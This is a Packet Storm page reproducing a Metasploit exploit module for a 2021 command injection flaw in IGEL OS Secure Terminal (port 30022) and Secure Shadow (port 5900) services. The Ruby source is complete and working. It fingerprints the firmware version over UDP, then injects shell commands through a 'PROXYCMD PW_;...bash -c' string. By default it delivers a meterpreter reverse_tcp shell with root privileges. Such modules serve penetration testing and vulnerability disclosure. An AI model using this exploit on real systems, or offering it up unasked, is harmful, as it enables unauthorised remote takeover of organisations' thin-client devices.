what you don't know can hurt you

IGEL OS Secure VNC/Terminal Command Injection

IGEL OS Secure VNC/Terminal Command Injection
Posted May 3, 2021
Authored by Rob Vinson, Marisa Mack, James Smith, James Brytan, Steven Laura, Sergey Pashevkin | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in IGEL OS Secure Terminal and Secure Shadow services.

tags | exploit
MD5 | 30b646459635ecfc87e1d9c073784c46

IGEL OS Secure VNC/Terminal Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',
'Description' => %q{
This module exploits a command injection vulnerability in IGEL OS Secure Terminal
and Secure Shadow services.

Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'Rob Vinson', # Discovery
'James Brytan', # Research and testing
'James Smith', # Research and testing
'Marisa Mack', # Research and testing
'Sergey Pashevkin', # Research and testing
'Steven Laura' # Research and testing
],
'References' => [
[ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],
[ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[
'Secure Terminal Service',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :cmd,
'Platform' => 'linux',
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 }
}
],
[
'Secure Shadow Service',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :cmd,
'Platform' => 'linux',
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 }
}
],
],
'Privileged' => true,
'DisclosureDate' => '2021-02-25',
'CmdStagerFlavor' => ['printf'],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PrependFork' => true
},
'Notes' => {
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE]
}
)
)

register_advanced_options(
[
# must enable SSL
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),
]
)
end

def check
probe = '<igel_scan></igel_scan>'

connect_udp(true, 'RPORT' => 30005)
udp_sock.put(probe)
res = udp_sock.recvfrom(65535, 0.5)
disconnect_udp

unless res && res[0]
return Exploit::CheckCode::Unknown
end

probe_response = res[0]
matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)
unless matches
return Exploit::CheckCode::Unknown
end

version = matches.captures[0]
vprint_status("IGEL OS Version: #{version}")
version = Rex::Version.new(version)

if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')
return Exploit::CheckCode::Appears
elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620')
return Exploit::CheckCode::Safe
elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def execute_command(cmd, _opts = {})
vprint_status("executing: #{cmd}")
connect
sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c "#{cmd}";false))
ensure
disconnect
end

def exploit
execute_cmdstager(linemax: 150, noconcat: true, delay: 2)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")
end

end
Login or Register to add favorites

File Archive:

May 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    1 Files
  • 2
    May 2nd
    4 Files
  • 3
    May 3rd
    26 Files
  • 4
    May 4th
    17 Files
  • 5
    May 5th
    3 Files
  • 6
    May 6th
    32 Files
  • 7
    May 7th
    11 Files
  • 8
    May 8th
    2 Files
  • 9
    May 9th
    2 Files
  • 10
    May 10th
    13 Files
  • 11
    May 11th
    17 Files
  • 12
    May 12th
    22 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close